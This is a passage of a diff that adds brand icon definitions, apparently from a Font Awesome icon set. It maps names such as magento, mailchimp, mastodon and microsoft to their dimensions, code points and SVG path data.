13.4-14.5 23.3-34.9 25.3-15.5 1.6-35.2-3.6-45-7.8v70.3c25.1 7.5 51.5 9.8 77.6 4.7 47.1-9.1 76.8-48.4 76.8-100.8V155.1h-77.1v.5z"], + "magento": [448, 512, [], "f3c4", "M445.7 127.9V384l-63.4 36.5V164.7L223.8 73.1 65.2 164.7l.4 255.9L2.3 384V128.1L224.2 0l221.5 127.9zM255.6 420.5L224 438.9l-31.8-18.2v-256l-63.3 36.6.1 255.9 94.9 54.9 95.1-54.9v-256l-63.4-36.6v255.9z"], + "mailchimp": [448, 512, [], "f59e", "M330.61 243.52a36.15 36.15 0 0 1 9.3 0c1.66-3.83 1.95-10.43.45-17.61-2.23-10.67-5.25-17.14-11.48-16.13s-6.47 8.74-4.24 19.42c1.26 6 3.49 11.14 6 14.32zM277.05 252c4.47 2 7.2 3.26 8.28 2.13 1.89-1.94-3.48-9.39-12.12-13.09a31.44 31.44 0 0 0-30.61 3.68c-3 2.18-5.81 5.22-5.41 7.06.85 3.74 10-2.71 22.6-3.48 7-.44 12.8 1.75 17.26 3.71zm-9 5.13c-9.07 1.42-15 6.53-13.47 10.1.9.34 1.17.81 5.21-.81a37 37 0 0 1 18.72-1.95c2.92.34 4.31.52 4.94-.49 1.46-2.22-5.71-8-15.39-6.85zm54.17 17.1c3.38-6.87-10.9-13.93-14.3-7s10.92 13.88 14.32 6.97zm15.66-20.47c-7.66-.13-7.95 15.8-.26 15.93s7.98-15.81.28-15.96zm-218.79 78.9c-1.32.31-6 1.45-8.47-2.35-5.2-8 11.11-20.38 3-35.77-9.1-17.47-27.82-13.54-35.05-5.54-8.71 9.6-8.72 23.54-5 24.08 4.27.57 4.08-6.47 7.38-11.63a12.83 12.83 0 0 1 17.85-3.72c11.59 7.59 1.37 17.76 2.28 28.62 1.39 16.68 18.42 16.37 21.58 9a2.08 2.08 0 0 0-.2-2.33c.03.89.68-1.3-3.35-.39zm299.72-17.07c-3.35-11.73-2.57-9.22-6.78-20.52 2.45-3.67 15.29-24-3.07-43.25-10.4-10.92-33.9-16.54-41.1-18.54-1.5-11.39 4.65-58.7-21.52-83 20.79-21.55 33.76-45.29 33.73-65.65-.06-39.16-48.15-51-107.42-26.47l-12.55 5.33c-.06-.05-22.71-22.27-23.05-22.57C169.5-18-41.77 216.81 25.78 273.85l14.76 12.51a72.49 72.49 0 0 0-4.1 33.5c3.36 33.4 36 60.42 67.53 60.38 57.73 133.06 267.9 133.28 322.29 3 1.74-4.47 9.11-24.61 9.11-42.38s-10.09-25.27-16.53-25.27zm-316 48.16c-22.82-.61-47.46-21.15-49.91-45.51-6.17-61.31 74.26-75.27 84-12.33 4.54 29.64-4.67 58.49-34.12 57.81zM84.3 249.55C69.14 252.5 55.78 261.09 47.6 273c-4.88-4.07-14-12-15.59-15-13.01-24.85 14.24-73 33.3-100.21C112.42 90.56 186.19 39.68 220.36 48.91c5.55 1.57 23.94 22.89 23.94 22.89s-34.15 18.94-65.8 45.35c-42.66 32.85-74.89 80.59-94.2 132.4zM323.18 350.7s-35.74 5.3-69.51-7.07c6.21-20.16 27 6.1 96.4-13.81 15.29-4.38 35.37-13 51-25.35a102.85 102.85 0 0 1 7.12 24.28c3.66-.66 14.25-.52 11.44 18.1-3.29 19.87-11.73 36-25.93 50.84A106.86 106.86 0 0 1 362.55 421a132.45 132.45 0 0 1-20.34 8.58c-53.51 17.48-108.3-1.74-126-43a66.33 66.33 0 0 1-3.55-9.74c-7.53-27.2-1.14-59.83 18.84-80.37 1.23-1.31 2.48-2.85 2.48-4.79a8.45 8.45 0 0 0-1.92-4.54c-7-10.13-31.19-27.4-26.33-60.83 3.5-24 24.49-40.91 44.07-39.91l5 .29c8.48.5 15.89 1.59 22.88 1.88 11.69.5 22.2-1.19 34.64-11.56 4.2-3.5 7.57-6.54 13.26-7.51a17.45 17.45 0 0 1 13.6 2.24c10 6.64 11.4 22.73 11.92 34.49.29 6.72 1.1 23 1.38 27.63.63 10.67 3.43 12.17 9.11 14 3.19 1.05 6.15 1.83 10.51 3.06 13.21 3.71 21 7.48 26 12.31a16.38 16.38 0 0 1 4.74 9.29c1.56 11.37-8.82 25.4-36.31 38.16-46.71 21.68-93.68 14.45-100.48 13.68-20.15-2.71-31.63 23.32-19.55 41.15 22.64 33.41 122.4 20 151.37-21.35.69-1 .12-1.59-.73-1-41.77 28.58-97.06 38.21-128.46 26-4.77-1.85-14.73-6.44-15.94-16.67 43.6 13.49 71 .74 71 .74s2.03-2.79-.56-2.53zm-68.47-5.7zm-83.4-187.5c16.74-19.35 37.36-36.18 55.83-45.63a.73.73 0 0 1 1 1c-1.46 2.66-4.29 8.34-5.19 12.65a.75.75 0 0 0 1.16.79c11.49-7.83 31.48-16.22 49-17.3a.77.77 0 0 1 .52 1.38 41.86 41.86 0 0 0-7.71 7.74.75.75 0 0 0 .59 1.19c12.31.09 29.66 4.4 41 10.74.76.43.22 1.91-.64 1.72-69.55-15.94-123.08 18.53-134.5 26.83a.76.76 0 0 1-1-1.12z"], + "mandalorian": [448, 512, [], "f50f", "M232.27 511.89c-1-3.26-1.69-15.83-1.39-24.58.55-15.89 1-24.72 1.4-28.76.64-6.2 2.87-20.72 3.28-21.38.6-1 .4-27.87-.24-33.13-.31-2.58-.63-11.9-.69-20.73-.13-16.47-.53-20.12-2.73-24.76-1.1-2.32-1.23-3.84-1-11.43a92.38 92.38 0 0 0-.34-12.71c-2-13-3.46-27.7-3.25-33.9s.43-7.15 2.06-9.67c3.05-4.71 6.51-14 8.62-23.27 2.26-9.86 3.88-17.18 4.59-20.74a109.54 109.54 0 0 1 4.42-15.05c2.27-6.25 2.49-15.39.37-15.39-.3 0-1.38 1.22-2.41 2.71s-4.76 4.8-8.29 7.36c-8.37 6.08-11.7 9.39-12.66 12.58s-1 7.23-.16 7.76c.34.21 1.29 2.4 2.11 4.88a28.83 28.83 0 0 1 .72 15.36c-.39 1.77-1 5.47-1.46 8.23s-1 6.46-1.25 8.22a9.85 9.85 0 0 1-1.55 4.26c-1 1-1.14.91-2.05-.53a14.87 14.87 0 0 1-1.44-4.75c-.25-1.74-1.63-7.11-3.08-11.93-3.28-10.9-3.52-16.15-1-21a14.24 14.24 0 0 0 1.67-4.61c0-2.39-2.2-5.32-7.41-9.89-7-6.18-8.63-7.92-10.23-11.3-1.71-3.6-3.06-4.06-4.54-1.54-1.78 3-2.6 9.11-3 22l-.34 12.19 2 2.25c3.21 3.7 12.07 16.45 13.78 19.83 3.41 6.74 4.34 11.69 4.41 23.56s.95 22.75 2 24.71c.36.66.51 1.35.34 1.52s.41 2.09 1.29 4.27a38.14 38.14 0 0 1 2.06 9 91 91 0 0 0 1.71 10.37c2.23 9.56 2.77 14.08 2.39 20.14-.2 3.27-.53 11.07-.73 17.32-1.31 41.76-1.85 58-2 61.21-.12 2-.39 11.51-.6 21.07-.36 16.3-1.3 27.37-2.42 28.65-.64.73-8.07-4.91-12.52-9.49-3.75-3.87-4-4.79-2.83-9.95.7-3 2.26-18.29 3.33-32.62.36-4.78.81-10.5 1-12.71.83-9.37 1.66-20.35 2.61-34.78.56-8.46 1.33-16.44 1.72-17.73s.89-9.89 1.13-19.11l.43-16.77-2.26-4.3c-1.72-3.28-4.87-6.94-13.22-15.34-6-6.07-11.84-12.3-12.91-13.85l-1.95-2.81.75-10.9c1.09-15.71 1.1-48.57 0-59.06l-.89-8.7-3.28-4.52c-5.86-8.08-5.8-7.75-6.22-33.27-.1-6.07-.38-11.5-.63-12.06-.83-1.87-3.05-2.66-8.54-3.05-8.86-.62-11-1.9-23.85-14.55-6.15-6-12.34-12-13.75-13.19-2.81-2.42-2.79-2-.56-9.63l1.35-4.65-1.69-3a32.22 32.22 0 0 0-2.59-4.07c-1.33-1.51-5.5-10.89-6-13.49a4.24 4.24 0 0 1 .87-3.9c2.23-2.86 3.4-5.68 4.45-10.73 2.33-11.19 7.74-26.09 10.6-29.22 3.18-3.47 7.7-1 9.41 5 1.34 4.79 1.37 9.79.1 18.55a101.2 101.2 0 0 0-1 11.11c0 4 .19 4.69 2.25 7.39 3.33 4.37 7.73 7.41 15.2 10.52a18.67 18.67 0 0 1 4.72 2.85c11.17 10.72 18.62 16.18 22.95 16.85 5.18.8 8 4.54 10 13.39 1.31 5.65 4 11.14 5.46 11.14a9.38 9.38 0 0 0 3.33-1.39c2-1.22 2.25-1.73 2.25-4.18a132.88 132.88 0 0 0-2-17.84c-.37-1.66-.78-4.06-.93-5.35s-.61-3.85-1-5.69c-2.55-11.16-3.65-15.46-4.1-16-1.55-2-4.08-10.2-4.93-15.92-1.64-11.11-4-14.23-12.91-17.39A43.15 43.15 0 0 1 165.24 78c-1.15-1-4-3.22-6.35-5.06s-4.41-3.53-4.6-3.76a22.7 22.7 0 0 0-2.69-2c-6.24-4.22-8.84-7-11.26-12l-2.44-5-.22-13-.22-13 6.91-6.55c3.95-3.75 8.48-7.35 10.59-8.43 3.31-1.69 4.45-1.89 11.37-2 8.53-.19 10.12 0 11.66 1.56s1.36 6.4-.29 8.5a6.66 6.66 0 0 0-1.34 2.32c0 .58-2.61 4.91-5.42 9a30.39 30.39 0 0 0-2.37 6.82c20.44 13.39 21.55 3.77 14.07 29L194 66.92c3.11-8.66 6.47-17.26 8.61-26.22.29-7.63-12-4.19-15.4-8.68-2.33-5.93 3.13-14.18 6.06-19.2 1.6-2.34 6.62-4.7 8.82-4.15.88.22 4.16-.35 7.37-1.28a45.3 45.3 0 0 1 7.55-1.68 29.57 29.57 0 0 0 6-1.29c3.65-1.11 4.5-1.17 6.35-.4a29.54 29.54 0 0 0 5.82 1.36 18.18 18.18 0 0 1 6 1.91 22.67 22.67 0 0 0 5 2.17c2.51.68 3 .57 7.05-1.67l4.35-2.4L268.32 5c10.44-.4 10.81-.47 15.26-2.68L288.16 0l2.46 1.43c1.76 1 3.14 2.73 4.85 6 2.36 4.51 2.38 4.58 1.37 7.37-.88 2.44-.89 3.3-.1 6.39a35.76 35.76 0 0 0 2.1 5.91 13.55 13.55 0 0 1 1.31 4c.31 4.33 0 5.3-2.41 6.92-2.17 1.47-7 7.91-7 9.34a14.77 14.77 0 0 1-1.07 3c-5 11.51-6.76 13.56-14.26 17-9.2 4.2-12.3 5.19-16.21 5.19-3.1 0-4 .25-4.54 1.26a18.33 18.33 0 0 1-4.09 3.71 13.62 13.62 0 0 0-4.38 4.78 5.89 5.89 0 0 1-2.49 2.91 6.88 6.88 0 0 0-2.45 1.71 67.62 67.62 0 0 1-7 5.38c-3.33 2.34-6.87 5-7.87 6A7.27 7.27 0 0 1 224 100a5.76 5.76 0 0 0-2.13 1.65c-1.31 1.39-1.49 2.11-1.14 4.6a36.45 36.45 0 0 0 1.42 5.88c1.32 3.8 1.31 7.86 0 10.57s-.89 6.65 1.35 9.59c2 2.63 2.16 4.56.71 8.84a33.45 33.45 0 0 0-1.06 8.91c0 4.88.22 6.28 1.46 8.38s1.82 2.48 3.24 2.32c2-.23 2.3-1.05 4.71-12.12 2.18-10 3.71-11.92 13.76-17.08 2.94-1.51 7.46-4 10-5.44s6.79-3.69 9.37-4.91a40.09 40.09 0 0 0 15.22-11.67c7.11-8.79 10-16.22 12.85-33.3a18.37 18.37 0 0 1 2.86-7.73 20.39 20.39 0 0 0 2.89-7.31c1-5.3 2.85-9.08 5.58-11.51 4.7-4.18 6-1.09 4.59 10.87-.46 3.86-1.1 10.33-1.44 14.38l-.61 7.36 4.45 4.09 4.45 4.09.11 8.42c.06 4.63.47 9.53.92 10.89l.82 2.47-6.43 6.28c-8.54 8.33-12.88 13.93-16.76 21.61-1.77 3.49-3.74 7.11-4.38 8-2.18 3.11-6.46 13-8.76 20.26l-2.29 7.22-7 6.49c-3.83 3.57-8 7.25-9.17 8.17-3.05 2.32-4.26 5.15-4.26 10a14.62 14.62 0 0 0 1.59 7.26 42 42 0 0 1 2.09 4.83 9.28 9.28 0 0 0 1.57 2.89c1.4 1.59 1.92 16.12.83 23.22-.68 4.48-3.63 12-4.7 12-1.79 0-4.06 9.27-5.07 20.74-.18 2-.62 5.94-1 8.7s-1 10-1.35 16.05c-.77 12.22-.19 18.77 2 23.15 3.41 6.69.52 12.69-11 22.84l-4 3.49.07 5.19a40.81 40.81 0 0 0 1.14 8.87c4.61 16 4.73 16.92 4.38 37.13-.46 26.4-.26 40.27.63 44.15a61.31 61.31 0 0 1 1.08 7c.17 2 .66 5.33 1.08 7.36.47 2.26.78 11 .79 22.74v19.06l-1.81 2.63c-2.71 3.91-15.11 13.54-15.49 12.29zm29.53-45.11c-.18-.3-.33-6.87-.33-14.59 0-14.06-.89-27.54-2.26-34.45-.4-2-.81-9.7-.9-17.06-.15-11.93-1.4-24.37-2.64-26.38-.66-1.07-3-17.66-3-21.3 0-4.23 1-6 5.28-9.13s4.86-3.14 5.48-.72c.28 1.1 1.45 5.62 2.6 10 3.93 15.12 4.14 16.27 4.05 21.74-.1 5.78-.13 6.13-1.74 17.73-1 7.07-1.17 12.39-1 28.43.17 19.4-.64 35.73-2 41.27-.71 2.78-2.8 5.48-3.43 4.43zm-71-37.58a101 101 0 0 1-1.73-10.79 100.5 100.5 0 0 0-1.73-10.79 37.53 37.53 0 0 1-1-6.49c-.31-3.19-.91-7.46-1.33-9.48-1-4.79-3.35-19.35-3.42-21.07 0-.74-.34-4.05-.7-7.36-.67-6.21-.84-27.67-.22-28.29 1-1 6.63 2.76 11.33 7.43l5.28 5.25-.45 6.47c-.25 3.56-.6 10.23-.78 14.83s-.49 9.87-.67 11.71-.61 9.36-.94 16.72c-.79 17.41-1.94 31.29-2.65 32a.62.62 0 0 1-1-.14zm-87.18-266.59c21.07 12.79 17.84 14.15 28.49 17.66 13 4.29 18.87 7.13 23.15 16.87C111.6 233.28 86.25 255 78.55 268c-31 52-6 101.59 62.75 87.21-14.18 29.23-78 28.63-98.68-4.9-24.68-39.95-22.09-118.3 61-187.66zm210.79 179c56.66 6.88 82.32-37.74 46.54-89.23 0 0-26.87-29.34-64.28-68 3-15.45 9.49-32.12 30.57-53.82 89.2 63.51 92 141.61 92.46 149.36 4.3 70.64-78.7 91.18-105.29 61.71z"], + "markdown": [640, 512, [], "f60f", "M593.8 59.1H46.2C20.7 59.1 0 79.8 0 105.2v301.5c0 25.5 20.7 46.2 46.2 46.2h547.7c25.5 0 46.2-20.7 46.1-46.1V105.2c0-25.4-20.7-46.1-46.2-46.1zM338.5 360.6H277v-120l-61.5 76.9-61.5-76.9v120H92.3V151.4h61.5l61.5 76.9 61.5-76.9h61.5v209.2zm135.3 3.1L381.5 256H443V151.4h61.5V256H566z"], + "mastodon": [448, 512, [], "f4f6", "M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.54 102.54 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5zm-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"], + "maxcdn": [512, 512, [], "f136", "M461.1 442.7h-97.4L415.6 200c2.3-10.2.9-19.5-4.4-25.7-5-6.1-13.7-9.6-24.2-9.6h-49.3l-59.5 278h-97.4l59.5-278h-83.4l-59.5 278H0l59.5-278-44.6-95.4H387c39.4 0 75.3 16.3 98.3 44.9 23.3 28.6 31.8 67.4 23.6 105.9l-47.8 222.6z"], + "mdb": [576, 512, [], "f8ca", "M17.37 160.41L7 352h43.91l5.59-79.83L84.43 352h44.71l25.54-77.43 4.79 77.43H205l-12.79-191.59H146.7L106 277.74 63.67 160.41zm281 0h-47.9V352h47.9s95 .8 94.2-95.79c-.78-94.21-94.18-95.78-94.18-95.78zm-1.2 146.46V204.78s46 4.27 46.8 50.57-46.78 51.54-46.78 51.54zm238.29-74.24a56.16 56.16 0 0 0 8-38.31c-5.34-35.76-55.08-34.32-55.08-34.32h-51.9v191.58H482s87 4.79 87-63.85c0-43.14-33.52-55.08-33.52-55.08zm-51.9-31.94s13.57-1.59 16 9.59c1.43 6.66-4 12-4 12h-12v-21.57zm-.1 109.46l.1-24.92V267h.08s41.58-4.73 41.19 22.43c-.33 25.65-41.35 20.74-41.35 20.74z"], + "medapps": [320, 512, [], "f3c6", "M118.3 238.4c3.5-12.5 6.9-33.6 13.2-33.6 8.3 1.8 9.6 23.4 18.6 36.6 4.6-23.5 5.3-85.1 14.1-86.7 9-.7 19.7 66.5 22 77.5 9.9 4.1 48.9 6.6 48.9 6.6 1.9 7.3-24 7.6-40 7.8-4.6 14.8-5.4 27.7-11.4 28-4.7.2-8.2-28.8-17.5-49.6l-9.4 65.5c-4.4 13-15.5-22.5-21.9-39.3-3.3-.1-62.4-1.6-47.6-7.8l31-5zM228 448c21.2 0 21.2-32 0-32H92c-21.2 0-21.2 32 0 32h136zm-24 64c21.2 0 21.2-32 0-32h-88c-21.2 0-21.2 32 0 32h88zm34.2-141.5c3.2-18.9 5.2-36.4 11.9-48.8 7.9-14.7 16.1-28.1 24-41 24.6-40.4 45.9-75.2 45.9-125.5C320 69.6 248.2 0 160 0S0 69.6 0 155.2c0 50.2 21.3 85.1 45.9 125.5 7.9 12.9 16 26.3 24 41 6.7 12.5 8.7 29.8 11.9 48.9 3.5 21 36.1 15.7 32.6-5.1-3.6-21.7-5.6-40.7-15.3-58.6C66.5 246.5 33 211.3 33 155.2 33 87.3 90 32 160 32s127 55.3 127 123.2c0 56.1-33.5 91.3-66.1 151.6-9.7 18-11.7 37.4-15.3 58.6-3.4 20.6 29 26.4 32.6 5.1z"], + "medium": [448, 512, [], "f23a", "M0 32v448h448V32H0zm372.2 106.1l-24 23c-2.1 1.6-3.1 4.2-2.7 6.7v169.3c-.4 2.6.6 5.2 2.7 6.7l23.5 23v5.1h-118V367l24.3-23.6c2.4-2.4 2.4-3.1 2.4-6.7V199.8l-67.6 171.6h-9.1L125 199.8v115c-.7 4.8 1 9.7 4.4 13.2l31.6 38.3v5.1H71.2v-5.1l31.6-38.3c3.4-3.5 4.9-8.4 4.1-13.2v-133c.4-3.7-1-7.3-3.8-9.8L75 138.1V133h87.3l67.4 148L289 133.1h83.2v5z"], + "medium-m": [512, 512, [], "f3c7", "M71.5 142.3c.6-5.9-1.7-11.8-6.1-15.8L20.3 72.1V64h140.2l108.4 237.7L364.2 64h133.7v8.1l-38.6 37c-3.3 2.5-5 6.7-4.3 10.8v272c-.7 4.1 1 8.3 4.3 10.8l37.7 37v8.1H307.3v-8.1l39.1-37.9c3.8-3.8 3.8-5 3.8-10.8V171.2L241.5 447.1h-14.7L100.4 171.2v184.9c-1.1 7.8 1.5 15.6 7 21.2l50.8 61.6v8.1h-144v-8L65 377.3c5.4-5.6 7.9-13.5 6.5-21.2V142.3z"], + "medrt": [544, 512, [], "f3c8", "M113.7 256c0 121.8 83.9 222.8 193.5 241.1-18.7 4.5-38.2 6.9-58.2 6.9C111.4 504 0 393 0 256S111.4 8 248.9 8c20.1 0 39.6 2.4 58.2 6.9C197.5 33.2 113.7 134.2 113.7 256m297.4 100.3c-77.7 55.4-179.6 47.5-240.4-14.6 5.5 14.1 12.7 27.7 21.7 40.5 61.6 88.2 182.4 109.3 269.7 47 87.3-62.3 108.1-184.3 46.5-272.6-9-12.9-19.3-24.3-30.5-34.2 37.4 78.8 10.7 178.5-67 233.9m-218.8-244c-1.4 1-2.7 2.1-4 3.1 64.3-17.8 135.9 4 178.9 60.5 35.7 47 42.9 106.6 24.4 158 56.7-56.2 67.6-142.1 22.3-201.8-50-65.5-149.1-74.4-221.6-19.8M296 224c-4.4 0-8-3.6-8-8v-40c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v40c0 4.4-3.6 8-8 8h-40c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h40c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h40c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8h-40z"], + "meetup": [512, 512, [], "f2e0", "M99 414.3c1.1 5.7-2.3 11.1-8 12.3-5.4 1.1-10.9-2.3-12-8-1.1-5.4 2.3-11.1 7.7-12.3 5.4-1.2 11.1 2.3 12.3 8zm143.1 71.4c-6.3 4.6-8 13.4-3.7 20 4.6 6.6 13.4 8.3 20 3.7 6.3-4.6 8-13.4 3.4-20-4.2-6.5-13.1-8.3-19.7-3.7zm-86-462.3c6.3-1.4 10.3-7.7 8.9-14-1.1-6.6-7.4-10.6-13.7-9.1-6.3 1.4-10.3 7.7-9.1 14 1.4 6.6 7.6 10.6 13.9 9.1zM34.4 226.3c-10-6.9-23.7-4.3-30.6 6-6.9 10-4.3 24 5.7 30.9 10 7.1 23.7 4.6 30.6-5.7 6.9-10.4 4.3-24.1-5.7-31.2zm272-170.9c10.6-6.3 13.7-20 7.7-30.3-6.3-10.6-19.7-14-30-7.7s-13.7 20-7.4 30.6c6 10.3 19.4 13.7 29.7 7.4zm-191.1 58c7.7-5.4 9.4-16 4.3-23.7s-15.7-9.4-23.1-4.3c-7.7 5.4-9.4 16-4.3 23.7 5.1 7.8 15.6 9.5 23.1 4.3zm372.3 156c-7.4 1.7-12.3 9.1-10.6 16.9 1.4 7.4 8.9 12.3 16.3 10.6 7.4-1.4 12.3-8.9 10.6-16.6-1.5-7.4-8.9-12.3-16.3-10.9zm39.7-56.8c-1.1-5.7-6.6-9.1-12-8-5.7 1.1-9.1 6.9-8 12.6 1.1 5.4 6.6 9.1 12.3 8 5.4-1.5 9.1-6.9 7.7-12.6zM447 138.9c-8.6 6-10.6 17.7-4.9 26.3 5.7 8.6 17.4 10.6 26 4.9 8.3-6 10.3-17.7 4.6-26.3-5.7-8.7-17.4-10.9-25.7-4.9zm-6.3 139.4c26.3 43.1 15.1 100-26.3 129.1-17.4 12.3-37.1 17.7-56.9 17.1-12 47.1-69.4 64.6-105.1 32.6-1.1.9-2.6 1.7-3.7 2.9-39.1 27.1-92.3 17.4-119.4-22.3-9.7-14.3-14.6-30.6-15.1-46.9-65.4-10.9-90-94-41.1-139.7-28.3-46.9.6-107.4 53.4-114.9C151.6 70 234.1 38.6 290.1 82c67.4-22.3 136.3 29.4 130.9 101.1 41.1 12.6 52.8 66.9 19.7 95.2zm-70 74.3c-3.1-20.6-40.9-4.6-43.1-27.1-3.1-32 43.7-101.1 40-128-3.4-24-19.4-29.1-33.4-29.4-13.4-.3-16.9 2-21.4 4.6-2.9 1.7-6.6 4.9-11.7-.3-6.3-6-11.1-11.7-19.4-12.9-12.3-2-17.7 2-26.6 9.7-3.4 2.9-12 12.9-20 9.1-3.4-1.7-15.4-7.7-24-11.4-16.3-7.1-40 4.6-48.6 20-12.9 22.9-38 113.1-41.7 125.1-8.6 26.6 10.9 48.6 36.9 47.1 11.1-.6 18.3-4.6 25.4-17.4 4-7.4 41.7-107.7 44.6-112.6 2-3.4 8.9-8 14.6-5.1 5.7 3.1 6.9 9.4 6 15.1-1.1 9.7-28 70.9-28.9 77.7-3.4 22.9 26.9 26.6 38.6 4 3.7-7.1 45.7-92.6 49.4-98.3 4.3-6.3 7.4-8.3 11.7-8 3.1 0 8.3.9 7.1 10.9-1.4 9.4-35.1 72.3-38.9 87.7-4.6 20.6 6.6 41.4 24.9 50.6 11.4 5.7 62.5 15.7 58.5-11.1zm5.7 92.3c-10.3 7.4-12.9 22-5.7 32.6 7.1 10.6 21.4 13.1 32 6 10.6-7.4 13.1-22 6-32.6-7.4-10.6-21.7-13.5-32.3-6z"], + "megaport": [496, 512, [], "f5a3", "M214.5 209.6v66.2l33.5 33.5 33.3-33.3v-66.4l-33.4-33.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm145.1 414.4L367 441.6l-26-19.2v-65.5l-33.4-33.4-33.4 33.4v65.5L248 441.6l-26.1-19.2v-65.5l-33.4-33.4-33.5 33.4v65.5l-26.1 19.2-26.1-19.2v-87l59.5-59.5V188l59.5-59.5V52.9l26.1-19.2L274 52.9v75.6l59.5 59.5v87.6l59.7 59.7v87.1z"], + "mendeley": [640, 512, [], "f7b3", "M624.6 325.2c-12.3-12.4-29.7-19.2-48.4-17.2-43.3-1-49.7-34.9-37.5-98.8 22.8-57.5-14.9-131.5-87.4-130.8-77.4.7-81.7 82-130.9 82-48.1 0-54-81.3-130.9-82-72.9-.8-110.1 73.3-87.4 130.8 12.2 63.9 5.8 97.8-37.5 98.8-21.2-2.3-37 6.5-53 22.5-19.9 19.7-19.3 94.8 42.6 102.6 47.1 5.9 81.6-42.9 61.2-87.8-47.3-103.7 185.9-106.1 146.5-8.2-.1.1-.2.2-.3.4-26.8 42.8 6.8 97.4 58.8 95.2 52.1 2.1 85.4-52.6 58.8-95.2-.1-.2-.2-.3-.3-.4-39.4-97.9 193.8-95.5 146.5 8.2-4.6 10-6.7 21.3-5.7 33 4.9 53.4 68.7 74.1 104.9 35.2 17.8-14.8 23.1-65.6 0-88.3zm-303.9-19.1h-.6c-43.4 0-62.8-37.5-62.8-62.8 0-34.7 28.2-62.8 62.8-62.8h.6c34.7 0 62.8 28.1 62.8 62.8 0 25-19.2 62.8-62.8 62.8z"], + "microblog": [448, 512, [], "e01a", "M399.36,362.23c29.49-34.69,47.1-78.34,47.1-125.79C446.46,123.49,346.86,32,224,32S1.54,123.49,1.54,236.44,101.14,440.87,224,440.87a239.28,239.28,0,0,0,79.44-13.44,7.18,7.18,0,0,1,8.12,2.56c18.58,25.09,47.61,42.74,79.89,49.92a4.42,4.42,0,0,0,5.22-3.43,4.37,4.37,0,0,0-.85-3.62,87,87,0,0,1,3.69-110.69ZM329.52,212.4l-57.3,43.49L293,324.75a6.5,6.5,0,0,1-9.94,7.22L224,290.92,164.94,332a6.51,6.51,0,0,1-9.95-7.22l20.79-68.86-57.3-43.49a6.5,6.5,0,0,1,3.8-11.68l71.88-1.51,23.66-67.92a6.5,6.5,0,0,1,12.28,0l23.66,67.92,71.88,1.51a6.5,6.5,0,0,1,3.88,11.68Z"], + "microsoft": [448, 512, [], "f3ca", "M0 32h214.6v214.6H0V32zm233.4 0H448v214.6H233.4V32zM0 265.4h214.6V480H0V265.4zm233.4 0H448V480H233.4V265.4z"], + "mix": [448, 512, [], "f3cb", "M0 64v348.9c0 56.2 88 58.1 88 0V174.3c7.9-52.9 88-50.4 88 6.5v175.3c0 57.9 96 58 96 0V240c5.3-54.7 88-52.5 88 4.3v23.8c0 59.9 88 56.6 88 0V64H0z"], + "mixcloud": [640, 512, [], "f289", "M424.43 219.729C416.124 134.727 344.135 68 256.919 68c-72.266 0-136.224 46.516-159.205 114.074-54.545 8.029-96.63 54.822-96.63 111.582 0 62.298 50.668 112.966 113.243 112.966h289.614c52.329 0 94.969-42.362 94.969-94.693 0-45.131-32.118-83.063-74.48-92.2zm-20.489 144.53H114.327c-39.04 0-70.881-31.564-70.881-70.604s31.841-70.604 70.881-70.604c18.827 0 36.548 7.475 49.838 20.766 19.963 19.963 50.133-10.227 30.18-30.18-14.675-14.398-32.672-24.365-52.053-29.349 19.935-44.3 64.79-73.926 114.628-73.926 69.496 0 125.979 56.483 125.979 125.702 0 13.568-2.215 26.857-6.369 39.594-8.943 27.517 32.133 38.939 40.147 13.29 2.769-8.306 4.984-16.889 6.369-25.472 19.381 7.476 33.502 26.303 33.502 48.453 0 28.795-23.535 52.33-52.607 52.33zm235.069-52.33c0 44.024-12.737 86.386-37.102 122.657-4.153 6.092-10.798 9.414-17.72 9.414-16.317 0-27.127-18.826-17.443-32.949 19.381-29.349 29.903-63.682 29.903-99.122s-10.521-69.773-29.903-98.845c-15.655-22.831 19.361-47.24 35.163-23.534 24.366 35.993 37.102 78.356 37.102 122.379zm-70.88 0c0 31.565-9.137 62.021-26.857 88.325-4.153 6.091-10.798 9.136-17.72 9.136-17.201 0-27.022-18.979-17.443-32.948 13.013-19.104 19.658-41.255 19.658-64.513 0-22.981-6.645-45.408-19.658-64.512-15.761-22.986 19.008-47.095 35.163-23.535 17.719 26.026 26.857 56.483 26.857 88.047z"], + "mixer": [512, 512, [], "e056", "M114.57,76.07a45.71,45.71,0,0,0-67.51-6.41c-17.58,16.18-19,43.52-4.75,62.77l91.78,123L41.76,379.58c-14.23,19.25-13.11,46.59,4.74,62.77A45.71,45.71,0,0,0,114,435.94L242.89,262.7a12.14,12.14,0,0,0,0-14.23ZM470.24,379.58,377.91,255.45l91.78-123c14.22-19.25,12.83-46.59-4.75-62.77a45.71,45.71,0,0,0-67.51,6.41l-128,172.12a12.14,12.14,0,0,0,0,14.23L398,435.94a45.71,45.71,0,0,0,67.51,6.41C483.35,426.17,484.47,398.83,470.24,379.58Z"], + "mizuni": [496, 512, [], "f3cc", "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm-80 351.9c-31.4 10.6-58.8 27.3-80 48.2V136c0-22.1 17.9-40 40-40s40 17.9 40 40v223.9zm120-9.9c-12.9-2-26.2-3.1-39.8-3.1-13.8 0-27.2 1.1-40.2 3.1V136c0-22.1 17.9-40 40-40s40 17.9 40 40v214zm120 57.7c-21.2-20.8-48.6-37.4-80-48V136c0-22.1 17.9-40 